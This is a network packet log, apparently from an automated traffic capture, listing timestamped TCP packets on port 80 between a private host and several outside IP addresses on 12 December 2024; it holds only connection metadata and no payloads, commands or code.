Dec 12, 2024 21:50:59.296960115 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.297111988 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.298058033 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.298151970 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.298233986 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.298233986 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.299233913 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.299320936 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.299485922 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.299571037 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.300446987 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.300502062 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.300530910 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.300626993 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.301584959 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.301795006 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.301898003 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.302942038 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.302998066 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.303296089 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.304060936 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.304119110 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.304189920 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.305145979 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.305229902 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.305252075 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.305334091 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.306366920 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.306482077 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.306523085 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.306741953 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.307475090 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.307600975 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.307609081 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.308630943 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.308799982 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.308829069 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.309050083 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.309863091 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.309927940 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.309993029 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.310480118 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.311067104 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.311124086 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.311132908 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.311176062 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.312179089 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.312329054 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.442547083 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.442636967 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.442645073 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.442836046 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.442924976 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.443058968 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.443087101 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.443593979 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.444155931 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.444287062 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.444386959 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.445353031 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.445502043 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.446605921 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.446639061 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.446662903 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.447629929 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.447715044 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.447873116 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.448862076 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.448890924 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.448980093 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.449740887 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.450023890 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.450161934 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.450175047 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.450303078 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.451208115 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.451416016 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.451476097 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.451476097 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.452526093 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.452586889 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.452668905 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.452738047 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.453655958 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.453711987 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.453741074 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.453965902 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.454803944 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.454863071 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.454917908 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.455610037 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.455944061 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.456095934 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.456327915 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.457137108 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.457210064 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.457237005 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.457437038 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.458338976 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.458451033 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.458528996 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.459614992 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.459820986 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.460077047 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.460690975 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.460799932 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.460829020 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.461849928 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.461965084 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.461994886 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.462109089 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.463043928 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.463181019 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.463288069 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.464241028 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.464441061 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.464464903 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.464684963 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.465483904 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.465550900 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.465586901 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.465672970 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.466772079 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.466911077 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.467144012 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.467780113 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.467860937 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.467936993 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.468926907 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.469022036 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.469109058 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.469171047 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.470124006 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.470197916 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.470223904 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.471330881 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.471474886 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.471503019 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.471605062 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.472477913 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.472601891 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.472604990 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.472686052 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.473649979 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.473774910 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.473798990 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.474849939 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.474996090 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.475449085 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.475687981 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.476083994 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.476142883 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.476167917 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.477221966 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.477307081 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.477330923 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.477505922 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.478384972 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.478473902 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.478512049 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.478651047 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.479724884 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.479892015 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.479896069 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.480021000 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.480730057 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.480854034 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.480879068 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.482089043 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.482250929 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.482275963 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.483177900 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.483205080 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.483292103 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.483320951 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.483412027 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.484417915 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.484483004 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.484770060 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.485251904 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.485474110 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.485613108 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.485640049 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.485709906 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.486608982 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.486701012 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.486731052 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.486835957 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.487986088 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.488109112 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.488481045 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.488955975 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.489057064 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.489080906 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.489541054 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.490147114 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.490257978 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.490291119 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.491209984 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.491321087 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.491384983 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.491404057 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.491569996 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.492522955 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.492667913 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.492693901 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.492897987 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.493695974 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.493937016 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.494010925 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.494877100 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.494998932 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.495012045 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.495076895 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.496114969 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.496207952 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.496303082 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.497232914 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.497337103 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.497376919 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.498055935 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.498497963 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.498598099 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.498624086 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.499635935 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.499665022 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.499706030 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.500824928 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.500828981 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.500890970 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.500906944 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.500983953 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.501980066 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.502106905 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.502108097 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.502239943 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.503274918 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.503360987 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.503386021 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.503616095 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.504287004 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.505230904 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.635627985 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.635708094 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.635731936 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.635768890 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.636075020 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.636193991 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.636425018 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.636466026 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.637304068 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.637358904 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.637473106 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.637521029 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.638319969 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.638367891 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:00.087707043 CET	80	49997	185.215.113.206	192.168.2.6
Dec 12, 2024 21:51:00.087764978 CET	49997	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:51:02.356115103 CET	50003	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:51:02.356631041 CET	50017	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:51:02.476547003 CET	80	50003	185.215.113.43	192.168.2.6
Dec 12, 2024 21:51:02.476572037 CET	80	50017	185.215.113.43	192.168.2.6
Dec 12, 2024 21:51:02.476624012 CET	50003	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:51:02.476664066 CET	50017	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:51:02.529352903 CET	50017	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:51:02.649209023 CET	80	50017	185.215.113.43	192.168.2.6
Dec 12, 2024 21:51:03.827769995 CET	80	50017	185.215.113.43	192.168.2.6
Dec 12, 2024 21:51:03.827833891 CET	50017	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:51:03.842530012 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:03.842986107 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:03.962990999 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:03.963042974 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:03.963155985 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:03.963184118 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:03.975790977 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:04.095871925 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.294341087 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.294404030 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.294423103 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.294435978 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.294456005 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.294482946 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.294600964 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.294647932 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.294872999 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.294909000 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.294919968 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.294946909 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.294946909 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.294982910 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.294986010 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.295097113 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.295339108 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.295375109 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.295414925 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.414341927 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.414397955 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.414422035 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.414458036 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.418613911 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.418653011 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.418703079 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.418740034 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.498528004 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.498585939 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.498594999 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.498754978 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.502693892 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.503621101 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.504251003 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.504288912 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.504360914 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.504395962 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.512756109 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.512813091 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.512871981 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.512916088 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.521121025 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.521172047 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.521301031 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.521342993 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.529459953 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.529531002 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.529628038 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.529675007 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.538180113 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.538265944 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.538297892 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.538341999 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.547308922 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.547373056 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.547553062 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.547591925 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.555701971 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.555747032 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.555840015 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.555874109 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.563009977 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.563040018 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.563087940 CET	50023	80	192.168.2.6	31.41.244.11
